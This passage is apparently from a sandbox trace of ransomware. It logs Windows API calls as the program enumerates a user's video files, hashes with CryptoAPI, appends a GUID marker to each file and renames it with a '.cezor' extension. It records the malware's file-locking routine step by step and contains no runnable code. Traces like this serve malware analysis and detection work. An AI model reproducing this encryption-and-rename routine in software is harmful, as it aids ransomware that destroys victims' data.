lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.434] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.434] CloseHandle (hObject=0x5c4) returned 1 [0062.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\h4Ure_SWB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\h4ure_swb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\h4Ure_SWB.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\h4ure_swb.mp4.cezor")) returned 1 [0062.437] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7febae40, ftCreationTime.dwHighDateTime=0x1d4d57c, ftLastAccessTime.dwLowDateTime=0xb8d55600, ftLastAccessTime.dwHighDateTime=0x1d4c9cb, ftLastWriteTime.dwLowDateTime=0xb8d55600, ftLastWriteTime.dwHighDateTime=0x1d4c9cb, nFileSizeHigh=0x0, nFileSizeLow=0x17de3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RbKeEPsH8.avi", cAlternateFileName="RBKEEP~1.AVI")) returned 1 [0062.437] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\RbKeEPsH8.avi") returned=".avi" [0062.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\RbKeEPsH8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\rbkeepsh8.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.437] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=97763) returned 1 [0062.437] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.440] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17dbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.440] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.441] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x17de3, lpOverlapped=0x0) returned 1 [0062.441] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.441] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.441] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.441] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.442] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.442] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.442] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.442] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.442] GetLastError () returned 0x0 [0062.442] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.442] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.443] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17de3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.443] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.443] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.443] CloseHandle (hObject=0x5c4) returned 1 [0062.444] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\RbKeEPsH8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\rbkeepsh8.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\RbKeEPsH8.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\rbkeepsh8.avi.cezor")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3bc5090, ftCreationTime.dwHighDateTime=0x1d4c570, ftLastAccessTime.dwLowDateTime=0xae18b000, ftLastAccessTime.dwHighDateTime=0x1d4ca8d, ftLastWriteTime.dwLowDateTime=0xae18b000, ftLastWriteTime.dwHighDateTime=0x1d4ca8d, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shUk4EGQd0zRO ddsru9.mkv", cAlternateFileName="SHUK4E~1.MKV")) returned 1 [0062.445] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\shUk4EGQd0zRO ddsru9.mkv") returned=".mkv" [0062.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\shUk4EGQd0zRO ddsru9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\shuk4egqd0zro ddsru9.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.446] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=55110) returned 1 [0062.446] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.448] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd720, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.448] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.449] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xd746, lpOverlapped=0x0) returned 1 [0062.449] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.449] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.449] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.449] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.450] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.450] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.450] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.450] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.450] GetLastError () returned 0x0 [0062.450] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.450] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.451] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd746, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.451] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.451] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.451] CloseHandle (hObject=0x5c4) returned 1 [0062.452] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\shUk4EGQd0zRO ddsru9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\shuk4egqd0zro ddsru9.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\shUk4EGQd0zRO ddsru9.mkv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\shuk4egqd0zro ddsru9.mkv.cezor")) returned 1 [0062.453] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c62cf0, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x7edeea50, ftLastAccessTime.dwHighDateTime=0x1d4cfb7, ftLastWriteTime.dwLowDateTime=0x7edeea50, ftLastWriteTime.dwHighDateTime=0x1d4cfb7, nFileSizeHigh=0x0, nFileSizeLow=0x12a1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tEhXK0.mp4", cAlternateFileName="")) returned 1 [0062.453] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\tEhXK0.mp4") returned=".mp4" [0062.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\tEhXK0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\tehxk0.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.453] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=76317) returned 1 [0062.453] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.456] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x129f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.456] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.456] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x12a1d, lpOverlapped=0x0) returned 1 [0062.457] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.457] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.457] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.457] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.458] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.458] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.458] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.458] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.458] GetLastError () returned 0x0 [0062.458] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.458] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.459] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12a1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.459] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.459] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.459] CloseHandle (hObject=0x5c4) returned 1 [0062.460] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\tEhXK0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\tehxk0.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\tEhXK0.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\tehxk0.mp4.cezor")) returned 1 [0062.461] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe74d9a60, ftCreationTime.dwHighDateTime=0x1d4d44d, ftLastAccessTime.dwLowDateTime=0x299135c0, ftLastAccessTime.dwHighDateTime=0x1d4d19d, ftLastWriteTime.dwLowDateTime=0x299135c0, ftLastWriteTime.dwHighDateTime=0x1d4d19d, nFileSizeHigh=0x0, nFileSizeLow=0x14c0d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yboEd.avi", cAlternateFileName="")) returned 1 [0062.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\yboEd.avi") returned=".avi" [0062.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\yboEd.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\yboed.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.461] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=85005) returned 1 [0062.461] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.464] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14be7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.464] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.465] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x14c0d, lpOverlapped=0x0) returned 1 [0062.465] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.465] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.465] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.465] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.466] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.466] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.466] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.466] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.466] GetLastError () returned 0x0 [0062.466] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.466] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.467] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14c0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.467] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.467] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.467] CloseHandle (hObject=0x5c4) returned 1 [0062.468] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\yboEd.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\yboed.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\IAQDAF9mflNWLRgoJL\\yboEd.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\iaqdaf9mflnwlrgojl\\yboed.avi.cezor")) returned 1 [0062.469] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe74d9a60, ftCreationTime.dwHighDateTime=0x1d4d44d, ftLastAccessTime.dwLowDateTime=0x299135c0, ftLastAccessTime.dwHighDateTime=0x1d4d19d, ftLastWriteTime.dwLowDateTime=0x299135c0, ftLastWriteTime.dwHighDateTime=0x1d4d19d, nFileSizeHigh=0x0, nFileSizeLow=0x14c0d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yboEd.avi", cAlternateFileName="")) returned 0 [0062.469] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.469] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.469] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x3115200 [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eeb78 [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3115200 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eeb78 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.470] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.470] PathFindFileNameW (pszPath="") returned="" [0062.471] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.471] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.471] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, 